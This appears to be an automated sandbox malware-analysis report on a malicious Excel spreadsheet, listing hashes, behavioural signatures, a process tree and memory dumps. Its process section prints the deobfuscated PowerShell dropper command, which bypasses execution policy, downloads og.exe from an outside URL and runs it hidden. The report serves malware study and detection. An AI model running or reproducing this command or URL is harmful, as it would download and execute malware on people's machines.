Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    14-05-2024 15:47

General

  • Target

    420be14b330a7ea81787283f3cbccc63_JaffaCakes118.xls

  • Size

    543KB

  • MD5

    420be14b330a7ea81787283f3cbccc63

  • SHA1

    186998f83b36eb982df245edc10326a9a613eb8f

  • SHA256

    58bcc4af36a01d9afa1651934c9cdadbbd98f61f4cace97f3977a3cc182cf840

  • SHA512

    975287aa5a08e6ac935d0bf221b0d750991989805732a49ac4e3b4091211e7d018acefd135d3abf66582f3989dda9b866d05bee92aaaec627e595254134618e8

  • SSDEEP

    12288:MQEk8+Kf1Toc+m/rxqKu6wq0QBMbf/Yqa8SAhHQ:F9StYq++8BHQ

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://cornerstoneshippingcompany.com/og.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\420be14b330a7ea81787283f3cbccc63_JaffaCakes118.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2992
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://cornerstoneshippingcompany.com/og.exe',$env:Temp+'\og.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\og.exe')
      2⤵
      • Process spawned unexpected child process
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2772

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2992-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2992-1-0x00000000725AD000-0x00000000725B8000-memory.dmp

    Filesize

    44KB

  • memory/2992-8-0x0000000006C00000-0x0000000006D00000-memory.dmp

    Filesize

    1024KB

  • memory/2992-9-0x0000000006C00000-0x0000000006D00000-memory.dmp

    Filesize

    1024KB

  • memory/2992-12-0x00000000725AD000-0x00000000725B8000-memory.dmp

    Filesize

    44KB

  • memory/2992-13-0x0000000006C00000-0x0000000006D00000-memory.dmp

    Filesize

    1024KB

  • memory/2992-14-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2992-15-0x00000000725AD000-0x00000000725B8000-memory.dmp

    Filesize

    44KB